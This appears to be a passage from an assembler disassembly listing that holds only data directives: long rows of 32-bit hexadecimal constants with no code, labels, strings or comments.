		dd 1EF281Ch, 0C2F4FD7Eh, 30A79C38h, 0AE24ED28h,	86870441h
		dd 0AC10497Dh, 25E17FBh, 8281549Bh, 0ACA0B89Fh,	0F1FF23B4h
		dd 40A96E06h, 1719BD3Fh, 80767D89h, 2DA0D238h, 42DB8B1Dh
		dd 0E0946352h, 3096DC82h, 0A60862EFh, 64814BCAh, 0F7964435h
		dd 0C16818C0h, 0F6E0758h, 842B9E94h, 340889Fh, 847EDB0Fh
		dd 1BC01C83h, 6427EFD6h, 678FE34h, 0EACE9663h, 0CC00E1B6h
		dd 2C2B85C0h, 0FE7919h,	9EDAF4D1h, 5EB366E8h, 6BC04204h
		dd 0DCF1FFBCh, 0B3F26472h, 0C60C30h, 2964289Ah,	0BB129BCFh
		dd 0D447345Eh, 808E1774h, 0DA8710AEh, 3E6B01D0h, 52C4B293h
		dd 0B202824h, 717E95h, 0F521EDC4h, 88629887h, 1C6C88Ch
		dd 0F2AC6689h, 0E1F14D84h, 0B2520FBh, 81EB0C09h, 401481E6h
		dd 106947C2h, 2BC9E24h,	0AB2D67DCh, 269D6841h, 127B02A8h
		dd 318A34F5h, 0A3E31049h, 23BE00ECh, 30C48447h,	0DC91404Fh
		dd 84B08A0Bh, 7CF225ACh, 0E0C068E7h, 8841AFh, 0AEE1396Dh
		dd 6B34B702h, 1C42A424h, 56C74B01h, 19113053h, 6B62D80Eh
		dd 824C9E27h, 0A0D55E24h, 0FFE899B0h, 20FE0006h, 3C19E7CAh
		dd 0AB004222h, 8F16C840h, 91170877h, 56E6D0C4h,	0D6050086h
		dd 0E731D7B1h, 4548CAC5h, 28C40BECh, 69D0215Fh,	0E82C3514h
		dd 0BEF9C204h, 0D3B088EAh, 3FE76C01h, 2E883779h, 30A09842h
		dd 7B121183h, 3038F33Eh, 118B004Dh, 0F4578C81h,	3E0126A8h
		dd 60C49ED7h, 8C3C5197h, 24E77101h, 0CC72D94Fh,	89274AEh
		dd 1C7FC42Ch, 0FE20771Eh, 5407F8F7h, 52FAC4Ah, 838CD8F8h
		dd 51C0ABAFh, 306E84E5h, 0E08142E8h, 700D33Bh, 85FA1029h
		dd 0B31B54Ah, 63A10B9Ch, 44FE3890h, 0D2ED0516h,	18047095h
		dd 6CE4436Fh, 0C354277Fh, 0DC6788E0h, 98A54228h, 0BE218707h
		dd 0B346B857h, 0FE6F3C21h, 88DF4785h, 9FA4C2E7h, 8127D30h
		dd 8D5A34EBh, 3214A66h,	69ECA5F9h, 10B0FE17h, 1E02C6ABh
		dd 606BACB2h
		dd 133CF0D9h, 13679F81h, 3E3C80A9h, 3B61B330h, 64107B0h
		dd 8234835h, 3CC168A7h,	7CD48A26h, 66940009h, 0ED971BF7h
		dd 49C40DD1h, 0CC9065C4h, 927C439Eh, 5AC9397Ch,	0D3020CDDh
		dd 0BC52CBD2h, 95079CF0h, 7F4EC01Dh, 3485C9C5h,	0B984608Eh
		dd 9FED3057h, 0E3D901E8h, 0D8A01168h, 0C80BC069h, 74686F49h
		dd 0D6D14E01h, 0FC496C1h, 0E284344Bh, 1F2A3056h, 2FEF4A3Ch
		dd 0DE4A1084h, 0FE7BEDC0h, 6D0957C5h, 0C455F6A3h, 74957934h
		dd 0C16C0039h, 765FBD1Eh, 270228B8h, 5256744Ah,	5B704A22h
		dd 2C1170F4h, 1913EA09h, 0C2D08787h, 0D4F4858Eh, 0FF5EC402h
		dd 14EC6853h, 4C9BB06Ch, 520FB899h, 0DD84084Dh,	0E2FCB26Bh
		dd 9A02305Eh, 0DFADCF1Ch, 0CC0D55C1h, 0FF1240EAh, 0B8649060h
		dd 4A8A9B80h, 536846D0h, 9494F170h, 5E465Eh, 0E6237485h
		dd 4C5040B8h, 1D1068A1h, 0A7870149h, 0B68B467Ah, 1C0F2C62h
		dd 0CD80860Ah, 0DD368A40h, 17D518CBh, 0D9B28830h, 67640260h
		dd 9D5F14h, 0FF3447FCh,	0E86452D3h, 2CC145E1h, 0E400BC33h
		dd 2B40232Ah, 8B402EAEh, 34244154h, 63E4F533h, 38862378h
		dd 34EFEC84h, 3C8E92h, 7CECAE86h, 0FF6F862h, 9CE88E91h
		dd 80D73A02h, 51376860h, 51527880h, 6891508Ah, 12798083h
		dd 427A34F7h, 0A1FDC08Dh, 0AB7BECh, 2072D875h, 92EDA5CBh
		dd 0A9306B14h, 0FD860BF0h, 0AA701057h, 0F63202ECh, 5FD1C06Ah
		dd 63490C82h, 51F195E0h, 0F4E67828h, 94B40C90h,	43913DCh
		dd 6BFCC057h, 0C094D40Bh, 4A465Ch, 222EFE66h, 386135Eh
		dd 633F067Eh, 0D80EB138h, 73F8C2CBh, 68D57000h,	16CFF61Ch
		dd 60DCF75Eh, 3C524B28h, 34680095h, 0EF3A2A26h,	178D8434h
		dd 84FAB467h, 0C3CC0424h, 0FBE9052Ah, 57B12481h, 38100405h
		dd 1DD840A3h, 0FD84824Dh, 47C8493Bh, 3F0818C4h,	3B64C3Bh
		dd 0D3B45249h, 0A277702Dh, 184FAE70h, 7911118Dh, 0AF88E33Eh
		dd 11954780h, 2AE28C1h,	75C4CB62h, 0C6D69A6h, 0D3BC7AC0h
		dd 0EAB71BE8h, 1BB86144h, 8B3AF646h, 0F19E80EBh, 0BE76E7D9h
		dd 218F2C22h, 0DC6F40BCh, 0F70BE668h, 0E00169D9h, 17C4CD50h
		dd 430880Ch, 45245324h,	1CC5FD81h, 1C801885h, 16F8210h
		dd 87F5D40Fh, 6CF621EDh, 0CFA983D4h, 0FB49E878h, 7D250290h
		dd 0F68FEF7Bh, 0BF005C52h, 0C046278h, 26D329h, 0BAC6967Ah
		dd 0D83A6CB0h, 0F8E937FEh, 0D09C3156h, 0F9696D80h, 256B82EFh
		dd 809B9B0h, 0F1EC2Fh, 2554864Ch, 54B49EDBh, 2043E0EFh
		dd 29FFB79Ch, 17C404A4h, 54B07978h, 0A0A44Fh, 3FE1DDE6h
		dd 0F6598D5Fh, 7EF9660Bh, 71DC90E8h, 55D40746h,	959F85F4h
		dd 0E6FCD0DAh, 0BC74DD84h, 0E7021896h, 78D43B34h, 39699848h
		dd 0EA30DDDCh, 8FC8C421h, 17505D49h, 3913BB16h,	0B69FCC80h
		dd 59B96936h, 6081A004h, 12F11377h, 8A33AA34h, 7F870FD0h
		dd 0E29F6313h, 538811EBh, 0F2BC0BECh, 0A334E1DCh, 87380207h
		dd 9882ECF8h, 0E3D90C79h, 2A0E8818h, 637486CFh,	2EF49EB4h
		dd 5ED4D491h, 99004546h, 7B7C7D0Fh, 8F26DA1Ah, 0EA41E89Eh
		dd 136E6C03h, 27880241h, 50607044h, 133D0D8h, 0E0B1C94Bh
		dd 0F985A108h, 0E86B3A00h, 0A873E54Fh, 8C01A4C6h, 0F03C6E18h
		dd 50097ABFh, 0B828F3Fh, 89FCCA14h, 0DEFC009Ch,	536C876h
		dd 0B1D3DDA3h, 0C1FC9753h, 72DCFCBDh, 0DCED3F80h, 0CA529CECh
		dd 5DA210A3h, 7641EA30h, 0C4BD5887h, 4D06F28h, 90310621h
		dd 1638B208h, 0B0CCD1EDh, 85C05E9h, 0F32643C8h,	30BBB2F4h
		dd 0E6001F1Ah, 60212966h, 18D9649h, 0C37A55C8h,	24D48AC4h
		dd 0C1E636D0h, 0AE0CC505h, 0E840B7EAh, 202B5F84h, 0B8CC3A3Fh
		dd 50096500h, 0D7D49BFh, 92361604h, 0A8B80863h,	0E3F4844Ah
		dd 0C8A9E4F4h, 152E985h, 0F6D705D4h, 9EA45040h,	3F3A57A7h
		dd 0C6678F09h, 0CB706063h, 0ABEFFh, 3A201814h, 0CFF77624h
		dd 0C2B64304h, 8CF0C438h, 48A2EA67h, 0DC049847h, 0B849EF2Bh
		dd 3543C13Ch, 0F0206B37h, 0EE81202Eh, 44933013h, 398EB820h
		dd 5046011Eh, 0C5145175h, 7288548h, 6CC0E7D3h, 8046DEC8h
		dd 0F7044382h, 4E1169F2h, 81C4C8B8h, 9BAC6251h,	0B6129C1Ch
		dd 929623FCh, 37C89757h, 7C4493C6h, 930AC288h, 0C8005E7Eh
		dd 0D7178499h, 7BAB7B9h, 6D15E943h, 0E82C41B3h,	0C86B2FD5h
		dd 65F49C00h, 0E15455A3h, 644181C0h, 9961EA2h, 0F0AFB55Dh
		dd 898C8F7Dh, 61E38189h, 1EE1EFF4h, 1E7B2C31h, 8F003E16h
		dd 79B08D49h, 64305ACAh, 9C64CE1h, 188E004Dh, 0BFCD705Bh
		dd 5A1721DEh, 1841C860h, 8D076B1Eh, 0F401C026h,	0F3C87962h
		dd 0D0282B9Bh, 62FC1293h, 154C08E0h, 0C1D35E8Ch, 0EBCF0E39h
		dd 8A850CE1h, 5E0CD110h, 7E619F83h, 360FC302h, 0B440E32Dh
		dd 82518844h, 0C837DCh,	0C52CAC6Bh, 0A42F0C38h,	2488DAF4h
		dd 0E62F0AA1h, 9A8DD43h, 0E400A60Bh, 0CFA5BD25h, 78454226h
		dd 0C320F428h, 49074B30h, 0D451EC74h, 0D73B6FA8h, 51568463h
		dd 50ADBBF8h, 845057C9h, 26BD702Fh, 2910A4h, 25328895h
		dd 3150A4B8h, 0F0E0DC30h, 91011E6h, 9F09B966h, 1BE0F8D3h
		dd 0CD8BD4h, 9E82D880h,	5173D01Eh, 8C07107Ch, 72912265h
		dd 0AC472340h, 0F94B0E83h, 0EB6057AAh, 0D1EA67ADh, 1DCFA200h
		dd 7CE8FD8h, 0F188A1E6h, 75026C36h, 7D67C1CCh, 94604471h
		dd 1632CC9Dh, 4F52BC69h, 3AB6C4B4h, 4E5237Ch, 0E098A28Ah
		dd 8F4E0B98h, 4410D09Fh, 821888AEh, 0ECD88AC9h,	3B3AA880h
		dd 0F4934F5Ch, 20505FC4h, 185A2DE1h, 84F00E77h,	0D3A0D174h
		dd 4725718Dh, 5C30A54Ah, 237611C0h, 0BA11EB3Eh,	118E8001h
		dd 0C8D91D71h, 0A892BC13h, 38796899h, 0E21DA418h, 0F1C0DBDAh
		dd 8863BA66h, 0AE3890A6h, 0B0A17258h, 16787674h, 0B4F6C1EEh
		dd 4F1D8008h, 8B893A1Fh, 0E63020B5h, 74591974h,	0E1B1699h
		dd 0F0E000B7h, 0D6322261h, 207DD22Fh, 94C84C30h, 7C92809h
		dd 0C10A25DCh, 0E920D80Fh, 87F161C5h, 0B066812h, 726C4F2h
		dd 251400Ch, 5571227Fh,	2DA08803h, 0B38D6E65h, 5F6A80CEh
		dd 1B9A12F1h, 0E6A413F8h, 0ED870368h, 0A08491BFh, 1E467E17h
		dd 2552CA2Eh, 40D3A0E1h, 8968699Ch, 0DEDA1803h,	95B8BCC4h
		dd 3B9C2480h, 0D13305C2h, 0B253ED1Dh, 30AEF21Ch, 0FFF25C13h
		dd 0D7F50203h, 0FEBA2729h, 3C092060h, 0E39AE00Bh, 0C17CCD69h
		dd 0FCC43F88h, 1B98CC6Dh, 47241700h, 0C359F36Fh, 74784C03h
		dd 35107404h, 0E678C1EDh, 6980317Dh, 141FB884h,	0E45166BCh
		dd 6B1A5F09h, 0A3037071h, 0E84B6FC4h, 7A5019C2h, 7A73D9h
		dd 0C805D19Ch, 0CE8046B6h, 0AC20C15Eh, 52DB64h,	5A2E7F1Ah
		dd 0A9666776h, 53276A03h, 99319F7h, 0C0AD354h, 4010C019h
		dd 391E3CF0h, 87383E0Bh, 0C12080ECh, 975B5117h,	486D4880h
		dd 0A109421Bh, 0FA9E894Ah, 68C300F0h, 9844BDF1h, 0E70B112Eh
		dd 22891467h, 0D4DB9304h, 0CE4C65C0h, 0C1B28890h, 34EA54FCh
		dd 44004560h, 0C510E6EBh, 13C109B5h, 63E477Eh, 59A29E64h
		dd 0CF89C00Eh, 0FA53C933h, 0C9860488h, 864D54F8h, 5F4C69C3h
		dd 9E3980B0h, 0F02B9Bh,	97F1BA43h, 282FD4CBh, 0E5063200h
		dd 1F0AA6F2h, 0F0514869h, 916BCC13h, 738DF798h,	4C2000DCh
		dd 28F2923h, 0B106009Eh, 1E427FB2h, 0E3093F3Dh,	0F937B820h
		dd 0D6470014h, 0EF7BD835h, 548B874Fh, 0E0CFBBC8h, 9F396E3Dh
		dd 5D4000EFh, 0C248DADEh
		dd 474ECBE0h, 0C1E15099h, 0B1C4433Bh, 0B9022C59h, 0C23E9514h
		dd 40345E90h, 7D444B4Eh, 2F8648Ah, 0C469968Fh, 0E8045706h
		dd 0D96B08C2h, 185E7150h, 0EA0EEC2h, 0C477BEBBh, 0D0706309h
		dd 780C3490h, 785769DCh, 88305A73h, 0C281932Ch,	968ED230h
		dd 0E3217614h, 0EE58256h, 8C565AC9h, 7C6B3E82h,	97B45CBDh
		dd 34244044h, 56E0D81Bh, 8C81F89Bh, 4C4ABC67h, 219F9092h
		dd 0D8960E40h, 1D09D893h, 6497C77Bh, 6A1912C8h,	4E240028h
		dd 0D6AAB4B3h, 48483F49h, 0EFE113ECh, 45C8A08Bh, 246758C0h
		dd 0A3D13BD9h, 0B39F8F0Ch, 45035C21h, 14E64687h, 679BD83Ch
		dd 2864ADCh, 0D93AF5E8h, 0B012B0ECh, 24E22F6Ah,	0AED6941Dh
		dd 4865EBBCh, 21603BE4h, 0D9039FA7h, 0FCE956B9h, 0D476A2DAh
		dd 701EDC64h, 91001D4Bh, 99D071C3h, 2D6A03E3h, 8533E45h
		dd 68D42C16h, 5F23F82Fh, 8B613D00h, 2716C75Eh, 886EADC1h
		dd 1769A125h, 803B11CCh, 223C1A3Eh, 0CEA71F40h,	21489808h
		dd 0BA1FF5A2h, 0C440AC96h, 5072CF94h, 5DAA13B8h, 0EF28A0F9h
		dd 1651C712h, 5100106Fh, 6784A9C3h, 0AF4F9F70h,	0A042D8CDh
		dd 0CC7930FDh, 9D678512h, 90C028B2h, 4F69CC81h,	0E9EB9F72h
		dd 1BC98C4Bh, 382CCE74h, 0EBDACA8h, 91028E80h, 0C4165887h
		dd 97AD2CB9h, 9D45916Ch, 0C0726B0Eh, 0F28B9B6Fh, 0A5040387h
		dd 13C77650h, 1668B8C5h, 0FCA3B726h, 1830B8A2h,	25BC2ED8h
		dd 9FC806F8h, 0B6008156h, 0B1BADE7h, 12F1BED3h,	143CA2Ch
		dd 21C7B331h, 2F30DD3Ah, 0FB741809h, 0D11829F0h, 19A183Ah
		dd 5B4031C8h, 0DCDD5924h, 0B6139CCFh, 0A0E2993Bh, 85D5FD00h
		dd 18B72B02h, 4BC46600h, 44820BD0h, 204600A5h, 0C7C9CF7Eh
		dd 0C225CAB7h, 0E6D4C064h, 0E36098DDh, 79758600h, 0CDEBC63Bh
		dd 0BC2F97F8h, 3407AF23h, 59902BCCh, 11C1707h, 0AA5B0423h
		dd 2C148ACAh, 6334040Ch, 0A4A7BB60h, 0FC17F82Fh, 6057B788h
		dd 1564968h, 0E9101214h, 57150558h, 0DC80D0FAh,	0B9F7AF9Eh
		dd 11802600h, 21E92D4Bh, 9AB743B0h, 0F83AEBC4h,	480948CBh
		dd 0CDA09680h, 0ED2C0EC4h, 1F00FC21h, 18B6B754h, 0CFB20976h
		dd 6CD878E8h, 446E9F4Ah, 2B8C9500h, 22FF4A78h, 0E7B4BE0Bh
		dd 387A57h, 12150270h, 0C5B8A2D8h, 0C4C80186h, 50478F6Dh
		dd 6CEC597Ah, 30DABDF8h, 0A500CD1Dh, 2374ECEDh,	0FC27147Eh
		dd 0C5514455h, 48A4E493h, 4AD700D6h, 98145996h,	0CCA1B250h
		dd 4B947943h, 94B27484h, 0C57BAF1h, 777F0071h, 752751DEh
		dd 0AE006429h, 8E8BC8CDh, 2D28C470h, 0D8C84703h, 0A89CBB4Ah
		dd 48EFC805h, 80C41CF9h, 0AC8CA9D5h, 7D1E03D5h,	765C5E8Fh
		dd 43B44FD0h, 4CE2E82Ch, 7517CE01h, 3BF344h, 0E99126C0h
		dd 87334096h, 7D6E49BCh, 9140B2A0h, 0C4D349D8h,	0B0D08351h
		dd 0A607A09h, 0D0249F6Dh, 89D7CFE4h, 947C450Ch,	0B8C4A8ECh
		dd 0DC008C42h, 2F0D86CFh, 532A44A5h, 8E10B84Fh,	0A09E25A2h
		dd 8F6B7078h, 4BB803D8h, 59DA905Ah, 9CED4FD0h, 788EEB4Eh
		dd 4578B9CAh, 0E542804Eh, 0F8039D4Dh, 670C3BA5h, 0C4BD88F9h
		dd 0CD802F5Ah, 0B98C34C8h, 98D180h, 0E04D30ABh,	0C4F96AD8h
		dd 2062FFEEh, 72ADEDC0h, 409E4B4Ch, 0CC499554h,	0FD0F9CDDh
		dd 130357C7h, 6608BC00h, 47B2685h, 820DFC48h, 0BC6CB8D2h
		dd 89738C5Fh, 84C87D25h, 9E0648B0h, 0D00081B1h,	0D6CB70A4h
		dd 139FAFFh, 118C444Ah,	0F8CE7797h, 45F212C7h, 0A56C029Dh
		dd 78D109BCh, 0D218AE79h, 51F2A002h, 4C6F2205h,	0DBF85A94h
		dd 73988014h, 7F8BFE76h, 0CC1804F3h, 9086F040h,	7A9F278Ch
		dd 45EAB818h, 0AC7789h,	4EFE2A23h, 67BD0D38h, 0C90F789Bh
		dd 0BF5404D9h, 8A4A58A7h, 0C03AC858h, 0C847ACB6h, 0A67B7607h
		dd 52621528h, 4BE0D8A4h, 237C3AA0h, 7E8A005Fh, 0D174712Ah
		dd 1383A507h, 6D4BC7D2h, 6976C00Ch, 914086DCh, 5333169Ah
		dd 4CE0B01Ch, 0A51C6CF8h, 5B0B3EE3h, 18F4F035h,	304FAAACh
		dd 981C2521h, 0D70CC437h, 0B591202Dh, 5F919097h, 5191B580h
		dd 0BD13E9A1h, 0AC40A6C2h, 25A37E4Ah, 0B9EB605Fh, 7AF97057h
		dd 50670800h, 0A2FB37CEh, 0CA2301E5h, 0CB8F8E90h, 482F2FB4h
		dd 0DB074423h, 8FE08376h, 2FC9E169h, 74003852h,	0FF8527C6h
		dd 0C4BE3E1Ah, 88589760h, 7160DE4Fh, 1716436Ch,	20F6D493h
		dd 0DD0A2920h, 2CBAD100h, 8558971Ch, 750C0135h,	14690EDCh
		dd 18FCFAA9h, 2C40DB88h, 0BB467474h, 40B7521Eh,	611B1676h
		dd 0F400B2FDh, 1D287ED0h, 2E37E18Ch, 0C1A8EE0Dh, 24F6C469h
		dd 22F21FD4h, 5460800Ch, 56E79E9h, 0A8B801A0h, 3164806Ah
		dd 0ACB41830h, 6DB41001h, 84299E41h, 87F78E00h,	0ABB831Ch
		dd 0EB7B5C00h, 45D6B83Bh, 0DDC25EBEh, 306A7B50h, 14983125h
		dd 105DD52h, 394F60C1h,	5C5E2488h, 0A4887047h, 7711DFC0h
		dd 0A2D34A3Eh, 8981C058h, 78460311h, 0D10C9934h, 0E2C0195Fh
		dd 698C00D8h, 1D559351h, 3816C10Bh, 0D03E4397h,	0C956E210h
		dd 40F05416h, 5DFD867h,	0DB634C01h, 0D589B1FCh,	800684F8h
		dd 4800F918h, 0E86830Ch, 0B2CF8ABh, 0C0AC6B92h,	60B84C60h
		dd 4C1242Dh, 1D404850h,	0F9FB4DD6h, 7CF18504h, 0F8F49F35h
		dd 0FCC90059h, 70777946h, 1D07B6B8h, 0A349C1E3h, 0A981EFA4h
		dd 88733659h, 0F33049A2h, 0CB452E31h, 412308C0h, 72DCDD02h
		dd 0D9545148h, 0D18B3h,	0A3CD630Bh, 0F5B788F1h,	6B1DC270h
		dd 6FDDBF13h, 5702D824h, 54543C42h, 935B8084h, 87BCBBABh
		dd 3B40BCB6h, 0E2F338h,	0FDB245DBh, 681075CBh, 0C04BD5EAh
		dd 0BAB3B820h, 6AB200A7h, 65A5229Dh, 3C717614h,	5D023EE0h
		dd 0B8C170C0h, 4421h, 9771CB74h, 66C4CF7Eh, 8B19A100h
		dd 0E99B6980h, 8B6E4ADCh, 0C038C8F4h, 44E50188h, 1953A10Eh
		dd 0C0D86934h, 0BF315740h, 1B3E70A0h, 6CB4BB9Ch, 885C0893h
		dd 60484DEDh, 0D650944Fh, 0CC0186F6h, 6BBFE370h, 0E42D4580h
		dd 0CC458CCBh, 1857BAE2h, 0E6009AA5h, 0D3CB4226h, 10652CDh
		dd 6D211268h, 3C37515Ah, 0D8BB0488h, 488EF649h,	32D9B284h
		dd 0B0546C72h, 92B83BFCh, 7435B92Dh, 0D78E5D91h, 0E43EB885h
		dd 0CA4EED5Ch, 22C6C897h, 6C31F9A9h, 0C8B8CB2Ah, 0EFD5C0B3h
		dd 0C00CF49Fh, 0BE035F7Fh, 0AC149C30h, 490A0808h, 63383E05h
		dd 309BEC95h, 0CAA58EC0h, 4B5105Ah, 90B6DFE8h, 1ED4C05Bh
		dd 2812343Bh, 7805DFEDh, 48005FCCh, 3E8D70F3h, 0E7D30FDEh
		dd 0B0177CDCh, 18135324h, 28E69DFFh, 646879E0h,	182F5201h
		dd 495C245Ah, 0C9C1942Ch, 799E86DEh, 0A8915F18h, 48AC17EDh
		dd 0ECC52DE0h, 5C605EC4h, 880379D3h, 6121806Fh,	3CE9C08Ah
		dd 0A95F09DFh, 0B402745Ah, 790BE098h, 4EDD0070h, 63CE1FF6h
		dd 911D6E00h, 0F70BFC29h, 21500B13h, 3465773Eh,	4FBCCD2Fh
		dd 69495080h, 0B7026129h, 57BC7E9Dh, 404856DCh,	37A4E8C6h
		dd 56FD8100h, 7FC4CD9Fh, 0F7790478h, 0EDCBEDDFh, 85FD0904h
		dd 0E07010F6h, 58FE45h,	7518E47Ah, 1DAFCE3Bh, 518EAA00h
		dd 8DC3BB4Dh, 9C91705h,	0A1E41B8Fh, 0DE3995A0h,	64C47602h
		dd 4BBDE97Eh, 4878E968h, 7AC96CDCh, 8E69008Fh, 6F73B82Fh
		dd 8100399Ch, 0EE807DF4h, 0C0C98FDCh, 9941951h,	0EF5A9EC3h
		dd 0B3C8D88Bh, 1D24E8C0h, 2F98F09Dh, 801957E6h,	1A55C21Ch
		dd 5EB456C0h, 8057B721h, 0A732E6ACh, 562D44EBh,	0C000ED76h
		dd 69686BD1h, 0F3137B7Dh
		dd 0F40229C7h, 0DC56E518h, 0CCBC0CB4h, 5C5A66B9h, 68A46853h
		dd 3DC40F8Dh, 0D220AB6Fh, 0CF231563h, 0CC1A4904h, 38984ADBh
		dd 5EFC94A5h, 0EE015C46h, 43BE41E4h, 0C34620Ch,	98BADC32h
		dd 387700DDh, 2D6F3EC7h, 0B90B1AABh, 4E6EBF93h,	71E4B154h
		dd 0AC18B5h, 0DBB4A04h,	2EF6CA65h, 4B63A88h, 7AE3B951h
		dd 0FE88C337h, 58E96926h, 0A5F01F14h, 0DFA8A8BDh, 7E574E09h
		dd 0C4E48FB6h, 0AEE13B94h, 9D9CB434h, 67A0E40Fh, 0EEB7BAACh
		dd 0BD34B7BDh, 0A6000248h, 0BF72F149h, 1DFCEE52h, 3C205B00h
		dd 78D02804h, 0AB4C2853h, 259325C0h, 6658E4DBh,	95C8031Fh
		dd 0ED57E86Ch, 0FFCF100h, 4A90871Eh, 883400A0h,	6EF8A68Bh
		dd 70999AA9h, 4CFEFC81h, 0B7CCB21Eh, 34180742h,	0C0915CB8h
		dd 86FFCA26h, 7D6EC40Bh, 0DC002076h, 997BFBDFh,	185DD1C4h
		dd 0A1192CC4h, 9ED640ECh, 2D0009F9h, 0F558F279h, 33A869h
		dd 8CAA963Ch, 54688A72h, 0F80CC716h, 1478A89Dh,	8CBAACh
		dd 0A9B7198Bh, 0D9D1BC52h, 0E803C417h, 0F9B82490h, 0FB8E726Ch
		dd 2FA49320h, 80BA7C2Ch, 8550705Bh, 1E7E09C1h, 0D482C259h
		dd 0B8E8B43Ah, 97B72EA0h, 8E5D91D8h, 3A21C013h,	4D8AC829h
		dd 5E272874h, 0A48B7CC8h, 4E0F637Fh, 3629155h, 80947FAAh
		dd 146ADFCh, 3EA74092h,	3FE2243Bh, 10208C45h, 0B310743Ah
		dd 1E93C0D9h, 4806BC69h, 371C9C90h, 0C481C13Ah,	0DDCA6E0Ch
		dd 0A0B06444h, 0BAF46312h, 0B9E97C04h, 396F6890h, 14D15834h
		dd 0FE861900h, 9F465A02h, 0F9692C12h, 0B5C838CBh, 0BBEA24C0h
		dd 141B02D6h, 16AC6BABh, 0C0BB858h, 7147133Bh, 19AC2640h
		dd 795E0887h, 0F8C24A9Ch, 80540928h, 0A0D9E70Fh, 1DD7B025h
		dd 13DCEACFh, 0F2F1836Eh, 0E5FB007Ch, 274D9E15h, 211B0032h
		dd 0CA5844AEh, 4C24A561h, 0EB0EAC4Bh, 56E82177h, 38424A6Dh
		dd 8044D6C1h, 40066FD8h, 0BC00612Ah, 59699720h,	4AEDF23Bh
		dd 445042C9h, 4CF4072Ah, 89257C1Eh, 44184F24h, 1002C772h
		dd 6B600691h, 0FCC86C5Bh, 0DFB700DBh, 5C0B2C37h, 7B0B2A35h
		dd 5027383Eh, 0D837BD44h, 0D4E0D417h, 9C53277Eh, 945E64C2h
		dd 5C5A4B82h, 639848B7h, 95C9608h, 420094Eh, 0D97374F1h
		dd 0BF5F6812h, 9B00F856h, 4D4159CEh, 0D6311C1Fh, 4EA7435Dh
		dd 0CDC8B40Fh, 0CCB0E879h, 1229F444h, 0C0E4AC3Ah, 0B4946BC0h
		dd 308ACB80h, 3A80CFD8h, 7100F33Bh, 4CC9D7B2h, 25146B46h
		dd 580098A1h, 0BF1F1A28h, 0E817B727h, 3D2BE390h, 11E8C15Ah
		dd 820501D8h, 0E24FCD53h, 20EAB8E9h, 858846B8h,	53124B6Fh
		dd 47004920h, 0F4437420h, 98048627h, 0F1DD4CDBh, 87040BAh
		dd 0CDEC1C67h, 44D2D025h, 3BA1E90h, 0DC1B091Fh,	52AC1C04h
		dd 0B0A4C8h, 30BF4C14h,	0E8D29ED8h, 0EAC9A607h,	28CFEC6Ah
		dd 1C9DB3h, 0E0095582h,	7A048CF1h, 0EC52C47Dh, 6B3A1CD0h
		dd 9070506Dh, 15DA01BEh, 23DCDFB4h, 38203C2Bh, 540172C9h
		dd 154021D0h, 0A3C0D216h, 917E03A7h, 0CDBB43CFh, 0C2C54006h
		dd 5825DCh, 9ED22D94h, 0C70C01B7h, 808B044Bh, 3157B7C4h
		dd 0EAD8833Eh, 0E83B2CB0h, 0AA6043A4h, 0C0829FB9h, 6E03AEE7h
		dd 6F54CA01h, 6D69F85Dh, 9E9CA002h, 3892B78Ch, 4E6260E5h
		dd 75A718DEh, 0A9BCAF09h, 0E45045E6h, 73BC60BBh, 0D8620031h
		dd 0E65F9B52h, 0F4A4EAB4h, 3E4820BFh, 4CC90662h, 44222CC7h
		dd 0C5E855F8h, 3CE69600h, 2DFD14FFh, 8C722DA9h,	90E2284Dh
		dd 1AD511E1h, 109220D0h, 7780204Ah, 50020621h, 0F8DB9329h
		dd 0C218B8D1h, 0CB917803h, 4B8CB571h, 0B2E088C0h, 805F633Ch
		dd 0C0AFF9ACh, 27CC497h, 9C79D174h, 34C2EBE2h, 90DEF81Ah
		dd 416105D4h, 0ED9FD5F9h, 4A0F07F4h, 0D3B09806h, 2A6E395h
		dd 303E5048h, 0C087349Bh, 4C5A917Dh, 0BE8C40E5h, 454FD053h
		dd 8924F0D2h, 88D09D98h, 0B060DE45h, 9D109B3h, 0CED3BB3Ah
		dd 0AA1DDD00h, 0A4003048h, 0A66121C7h, 98D9F77Ah, 0D5B92D24h
		dd 60048CB7h, 0D84042F6h, 9B395336h, 0FF1E8A00h, 89D02E32h
		dd 37B717A0h, 0AE1C004Ch, 0BDBEC467h, 503CE881h, 0DB472413h
		dd 81208F80h, 6481C21Eh, 0D91CE2DEh, 56E578DCh,	0B88C1C86h
		dd 3054D460h, 42EE9700h, 0C4C63CE3h, 0EAAAB00h,	7CEF1BF0h
		dd 0E51E1ABBh, 34C0D858h, 0BD970531h, 352700C8h, 3E3C5CF8h
		dd 5447282Eh, 8CE36981h, 0D478D37Fh, 18C35BCh, 2B29281Ah
		dd 0F5C2391Eh, 38B8D051h, 9C637CB6h, 33090196h,	2BDE32D2h
		dd 5AF063F3h, 4383EC9Bh, 0E2CB559Dh, 0BC69400Bh, 824C01Ah
		dd 14B74AC8h, 861004ECh, 9C2384Fh, 0FBBCA626h, 2ACAD018h
		dd 0CF3C3A10h, 0C821A001h, 28E9105Ah, 38530844h, 0D10A98BBh
		dd 0BA04E1DDh, 4154F62Bh, 52DA50E1h, 86752408h,	98FB18DAh
		dd 7A4ADC67h, 60C11487h, 2E0357A3h, 0ACED3909h,	1D32C21Eh
		dd 81AE119Ch, 0C6EB69C1h, 27341CE4h, 6CF28C3Bh,	843C3225h
		dd 0FCA45D24h, 0F45E262h, 0D071BB20h, 0E6ABD5C0h, 5A008CB7h
		dd 40782576h, 0EE0535E5h, 0DE423186h, 29AFEDD9h, 60C40428h
		dd 21AA2187h, 0A44B226Ch, 4674C429h, 0C35B00BAh, 0D3936159h
		dd 5F6702D6h, 0F301451h, 0B1079040h, 40295D3Ah,	0D6A0B468h
		dd 0EA031372h, 0AE05FFB5h, 5D5F315h, 0C98AEF21h, 5324C426h
		dd 0E8F8E8BCh, 249E9545h, 0B87B6402h, 7D56EECFh, 0A8FAF4B0h
		dd 0C7E68B0Eh, 5A7B676Ah, 0D6ED8600h, 9381C406h, 1053FE53h
		dd 3D913801h, 5452E896h, 7C6CFE45h, 1D004F46h, 0D5ED9A18h
		dd 0B4136B3Ch, 0D8CE8286h, 20C9B4C8h, 8D447BF9h, 0D04D06EAh
		dd 70DCA0ACh, 0FA6AD912h, 89B854E9h, 3772639h, 9193BB4Eh
		dd 433AD0E1h, 7044480Ch, 0A3CCFC01h, 80D9D2EDh,	0DD64C459h
		dd 4CB07EDCh, 5CB8ACE9h, 1966C500h, 6469E026h, 4938006Fh
		dd 4C5743A5h, 0B000B278h, 2E63EE1Dh, 327EF91h, 6DEBA3E0h
